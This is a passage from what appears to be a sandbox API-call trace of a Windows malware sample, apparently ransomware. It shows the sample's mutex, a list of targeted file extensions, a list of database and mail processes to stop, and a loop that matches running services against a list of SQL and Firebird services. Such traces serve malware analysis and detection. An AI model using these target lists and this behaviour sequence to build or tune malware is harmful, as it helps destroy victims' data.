(hModule=0x77410000, lpProcName="LeaveCriticalSection") returned 0x77bf2270 [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="ReadFile") returned 0x77423ed3 [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="CreateFileW") returned 0x77423f5c [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="OpenMutexW") returned 0x77425151 [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="EnterCriticalSection") returned 0x77bf22b0 [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="WaitForMultipleObjects") returned 0x77424220 [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="lstrcmpiW") returned 0x7743d5cd [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="lstrcmpiA") returned 0x77423e8e [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="DeleteCriticalSection") returned 0x77c045f5 [0262.529] GetProcAddress (hModule=0x77410000, lpProcName="ReleaseMutex") returned 0x7742111e [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="CloseHandle") returned 0x77421410 [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="GetVersion") returned 0x77424467 [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="CreateThread") returned 0x774234d5 [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="ExpandEnvironmentStringsW") returned 0x77424173 [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="QueryPerformanceCounter") returned 0x77421725 [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="QueryPerformanceFrequency") returned 0x774241f0 [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="GetCurrentProcessId") returned 0x774211f8 [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="SetFileAttributesW") returned 0x7743d4f7 [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="GetVolumeInformationW") returned 0x7743c860 [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="WriteFile") returned 0x77421282 [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="SetFilePointerEx") returned 0x7743c807 [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="SetEndOfFile") returned 0x7743ce2e [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="FindFirstFileW") returned 0x77424435 [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="GetProcessHeap") returned 0x774214e9 [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="HeapReAlloc") returned 0x77c11f6e [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="HeapAlloc") returned 0x77bfe026 [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="HeapFree") returned 0x774214c9 [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="CreatePipe") returned 0x774a415b [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="SetHandleInformation") returned 0x7743195c [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="CreateProcessW") returned 0x7742103d [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="CompareStringW") returned 0x77423bca [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="CompareStringA") returned 0x77423c5a [0262.530] GetProcAddress (hModule=0x77410000, lpProcName="OpenProcess") returned 0x77421986 [0262.531] GetProcAddress (hModule=0x77410000, lpProcName="TerminateProcess") returned 0x7743d802 [0262.531] GetProcAddress (hModule=0x77410000, lpProcName="GetSystemTime") returned 0x77425a96 [0262.531] GetProcAddress (hModule=0x77410000, lpProcName="SystemTimeToFileTime") returned 0x77425a7e [0262.531] GetProcAddress (hModule=0x77410000, lpProcName="GetLastError") returned 0x774211c0 [0262.531] GetProcAddress (hModule=0x77410000, lpProcName="CreateToolhelp32Snapshot") returned 0x7744735f [0262.531] GetProcAddress (hModule=0x77410000, lpProcName="Process32NextW") returned 0x7744896c [0262.531] GetProcAddress (hModule=0x77410000, lpProcName="Process32FirstW") returned 0x77448baf [0262.531] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x770f0000 [0262.537] GetProcAddress (hModule=0x770f0000, lpProcName="RegOpenKeyExW") returned 0x7710468d [0262.537] GetProcAddress (hModule=0x770f0000, lpProcName="RegQueryValueExW") returned 0x771046ad [0262.538] GetProcAddress (hModule=0x770f0000, lpProcName="RegSetValueExW") returned 0x771014d6 [0262.538] GetProcAddress (hModule=0x770f0000, lpProcName="RegCloseKey") returned 0x7710469d [0262.538] GetProcAddress (hModule=0x770f0000, lpProcName="OpenProcessToken") returned 0x77104304 [0262.538] GetProcAddress (hModule=0x770f0000, lpProcName="GetTokenInformation") returned 0x7710431c [0262.538] GetProcAddress (hModule=0x770f0000, lpProcName="OpenSCManagerW") returned 0x770fca64 [0262.538] GetProcAddress (hModule=0x770f0000, lpProcName="OpenServiceW") returned 0x770fca4c [0262.538] GetProcAddress (hModule=0x770f0000, lpProcName="CloseServiceHandle") returned 0x7710369c [0262.538] GetProcAddress (hModule=0x770f0000, lpProcName="ControlService") returned 0x77117144 [0262.538] GetProcAddress (hModule=0x770f0000, lpProcName="QueryServiceStatus") returned 0x77102a86 [0262.538] GetProcAddress (hModule=0x770f0000, lpProcName="EnumDependentServicesW") returned 0x770f1e3a [0262.538] GetProcAddress (hModule=0x770f0000, lpProcName="EnumServicesStatusExW") returned 0x770fb466 [0262.538] LoadLibraryA (lpLibFileName="user32.dll") returned 0x758a0000 [0262.548] GetProcAddress (hModule=0x758a0000, lpProcName="SystemParametersInfoW") returned 0x758b90d3 [0262.548] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76190000 [0262.550] GetProcAddress (hModule=0x76190000, lpProcName="ShellExecuteExW") returned 0x761b1e46 [0262.550] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77bd0000 [0262.550] GetProcAddress (hModule=0x77bd0000, lpProcName="NtQuerySystemInformation") returned 0x77befda0 [0262.550] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73790000 [0262.861] GetProcAddress (hModule=0x73790000, lpProcName="WNetCloseEnum") returned 0x73792dd6 [0262.861] GetProcAddress (hModule=0x73790000, lpProcName="WNetOpenEnumW") returned 0x73792f06 [0262.862] GetProcAddress (hModule=0x73790000, lpProcName="WNetEnumResourceW") returned 0x73793058 [0262.862] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75bf0000 [0262.887] GetProcAddress (hModule=0x75bf0000, lpProcName="WSAStartup") returned 0x75bf3ab2 [0262.888] GetProcAddress (hModule=0x75bf0000, lpProcName="socket") returned 0x75bf3eb8 [0262.888] GetProcAddress (hModule=0x75bf0000, lpProcName="send") returned 0x75bf6f01 [0262.888] GetProcAddress (hModule=0x75bf0000, lpProcName="recv") returned 0x75bf6b0e [0262.888] GetProcAddress (hModule=0x75bf0000, lpProcName="connect") returned 0x75bf6bdd [0262.888] GetProcAddress (hModule=0x75bf0000, lpProcName="closesocket") returned 0x75bf3918 [0262.888] GetProcAddress (hModule=0x75bf0000, lpProcName="gethostbyname") returned 0x75c07673 [0262.888] GetProcAddress (hModule=0x75bf0000, lpProcName="inet_addr") returned 0x75bf311b [0262.888] GetProcAddress (hModule=0x75bf0000, lpProcName="ntohl") returned 0x75bf2d57 [0262.888] GetProcAddress (hModule=0x75bf0000, lpProcName="htonl") returned 0x75bf2d57 [0262.888] GetProcAddress (hModule=0x75bf0000, lpProcName="htons") returned 0x75bf2d8b [0262.888] GetProcessHeap () returned 0x2a0000 [0262.888] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2b4378 [0262.888] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=6878706397) returned 1 [0262.888] GetTickCount () returned 0x63c1 [0262.888] GetCurrentProcessId () returned 0x564 [0262.889] GetTickCount () returned 0x63c1 [0262.889] GetTickCount () returned 0x63c1 [0262.889] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2b43a0 [0262.889] GetVersion () returned 0x1db10106 [0262.889] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7) returned 0x2a3988 [0262.889] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2b0ea8 [0262.889] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b0ea8, Size=0x20) returned 0x2b43f0 [0262.889] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b43f0, Size=0x40) returned 0x2b4988 [0262.889] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x2b4c38 [0262.889] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_4JY52QA") returned 0x0 [0262.889] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_4JY52QA") returned 0x84 [0262.889] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2a3988 | out: hHeap=0x2a0000) returned 1 [0262.889] lstrlenW (lpString="Global\\syncronize_") returned 18 [0262.889] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b4988 | out: hHeap=0x2a0000) returned 1 [0262.889] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7) returned 0x2a3988 [0262.889] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2b0ea8 [0262.889] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b0ea8, Size=0x20) returned 0x2b43f0 [0262.889] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b43f0, Size=0x40) returned 0x2b4988 [0262.889] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x2c4c40 [0262.890] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_4JY52QU") returned 0x0 [0262.890] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_4JY52QU") returned 0x88 [0262.890] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2a3988 | out: hHeap=0x2a0000) returned 1 [0262.890] lstrlenW (lpString="Global\\syncronize_") returned 18 [0262.890] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b4988 | out: hHeap=0x2a0000) returned 1 [0262.890] GetVersion () returned 0x1db10106 [0262.890] GetCurrentProcess () returned 0xffffffff [0262.890] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0262.890] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0262.890] CloseHandle (hObject=0x8c) returned 1 [0262.890] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0262.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2a3988 [0262.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2b0ea8 [0262.890] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b0ea8, Size=0x20) returned 0x2b43f0 [0262.890] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b43f0, Size=0x40) returned 0x2b4988 [0262.890] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4988, Size=0x80) returned 0x2b4988 [0262.890] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4988, Size=0x100) returned 0x2b4988 [0262.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x34) returned 0x2b4a90 [0262.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2b0a98 [0262.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2b0aa8 [0262.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2b0ab8 [0262.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2b0ea8 [0262.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2b4ad0 [0262.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2b0ec0 [0262.890] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4ad0, Size=0x8) returned 0x2b4ad0 [0262.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2b0ed8 [0262.890] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4ad0, Size=0x10) returned 0x2b4ad0 [0262.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2b0ef0 [0262.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2b0f08 [0262.890] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4ad0, Size=0x20) returned 0x2b4ad0 [0262.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2b0f20 [0262.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2b0f38 [0262.890] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b0a98, Size=0x8) returned 0x2b0a98 [0262.890] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b0aa8, Size=0x8) returned 0x2b0aa8 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2b4af8 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2b0f50 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2b4b08 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2b0f68 [0262.891] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4b08, Size=0x8) returned 0x2b4b08 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d4c60 [0262.891] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4b08, Size=0x10) returned 0x2b4b08 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d4c78 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2b4b20 [0262.891] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4b08, Size=0x20) returned 0x2b4b30 [0262.891] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b0a98, Size=0x10) returned 0x2b4b08 [0262.891] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b0aa8, Size=0x10) returned 0x2b4b58 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2b0a98 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d4c90 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2b0aa8 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d4ca8 [0262.891] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b0aa8, Size=0x8) returned 0x2b0aa8 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2b4b70 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d4cc0 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2b4b80 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d4cd8 [0262.891] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4b80, Size=0x8) returned 0x2b4b80 [0262.891] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4b08, Size=0x20) returned 0x2b4b90 [0262.891] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4b58, Size=0x20) returned 0x2b4bb8 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2b4b58 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d4cf0 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2b4be0 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d4d08 [0262.891] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4be0, Size=0x8) returned 0x2b4be0 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d5048 [0262.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d5068 [0262.891] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0262.891] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b4988 | out: hHeap=0x2a0000) returned 1 [0262.892] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0262.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d38 [0262.894] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d38, Size=0x20) returned 0x2b45f8 [0262.894] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b45f8, Size=0x40) returned 0x2d9268 [0262.894] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9268, Size=0x80) returned 0x2d9268 [0262.894] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9268, Size=0x100) returned 0x2d9268 [0262.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d38 [0262.894] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d38, Size=0x20) returned 0x2b45f8 [0262.894] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b45f8, Size=0x40) returned 0x2d9370 [0262.894] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9370, Size=0x80) returned 0x2d9370 [0262.894] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9370, Size=0x100) returned 0x2d9370 [0262.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d4d38 [0262.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2d9478 [0262.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d50 [0262.895] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9478, Size=0x8) returned 0x2d9478 [0262.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d9488 [0262.895] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9478, Size=0x10) returned 0x2d94a8 [0262.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d94c0 [0262.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2b45f8 [0262.895] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d94a8, Size=0x20) returned 0x2d94e0 [0262.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2b4620 [0262.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2d9508 [0262.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2b4648 [0262.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d4d68 [0262.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2d9478 [0262.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d9528 [0262.895] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9478, Size=0x8) returned 0x2d9478 [0262.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c) returned 0x2d9570 [0262.895] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9478, Size=0x10) returned 0x2d94a8 [0262.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d95b8 [0262.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d95d8 [0262.895] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d94a8, Size=0x20) returned 0x2d95f8 [0262.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x24) returned 0x2d9620 [0262.895] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0262.895] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9268 | out: hHeap=0x2a0000) returned 1 [0262.895] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0262.895] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9370 | out: hHeap=0x2a0000) returned 1 [0262.895] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x2d9b78 [0262.920] EnumServicesStatusExW (in: hSCManager=0x2d9b78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0262.920] GetLastError () returned 0xea [0262.920] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa08) returned 0x2dd458 [0262.920] EnumServicesStatusExW (in: hSCManager=0x2d9b78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x2dd458, cbBufSize=0xa08, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x2dd458, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0262.920] CloseServiceHandle (hSCObject=0x2d9b78) returned 1 [0263.336] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0263.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0263.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0263.337] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0263.337] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0263.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0263.337] lstrlenW (lpString="AudioSrv") returned 8 [0263.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0263.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0263.337] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0263.337] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0263.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0263.337] lstrlenW (lpString="BFE") returned 3 [0263.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0263.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0263.337] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0263.337] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0263.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0263.337] lstrlenW (lpString="CscService") returned 10 [0263.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0263.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0263.337] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0263.337] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0263.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0263.337] lstrlenW (lpString="DcomLaunch") returned 10 [0263.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0263.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0263.338] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0263.338] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0263.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0263.338] lstrlenW (lpString="Dhcp") returned 4 [0263.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0263.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0263.338] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0263.338] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0263.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0263.338] lstrlenW (lpString="Dnscache") returned 8 [0263.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0263.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0263.338] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0263.338] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0263.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0263.338] lstrlenW (lpString="eventlog") returned 8 [0263.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0263.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0263.338] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0263.338] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0263.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0263.338] lstrlenW (lpString="EventSystem") returned 11 [0263.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0263.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0263.338] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0263.338] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0263.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0263.338] lstrlenW (lpString="gpsvc") returned 5 [0263.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0263.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0263.338] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0263.338] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0263.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0263.339] lstrlenW (lpString="lmhosts") returned 7 [0263.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0263.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0263.339] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0263.339] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0263.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0263.339] lstrlenW (lpString="MMCSS") returned 5 [0263.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0263.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0263.339] 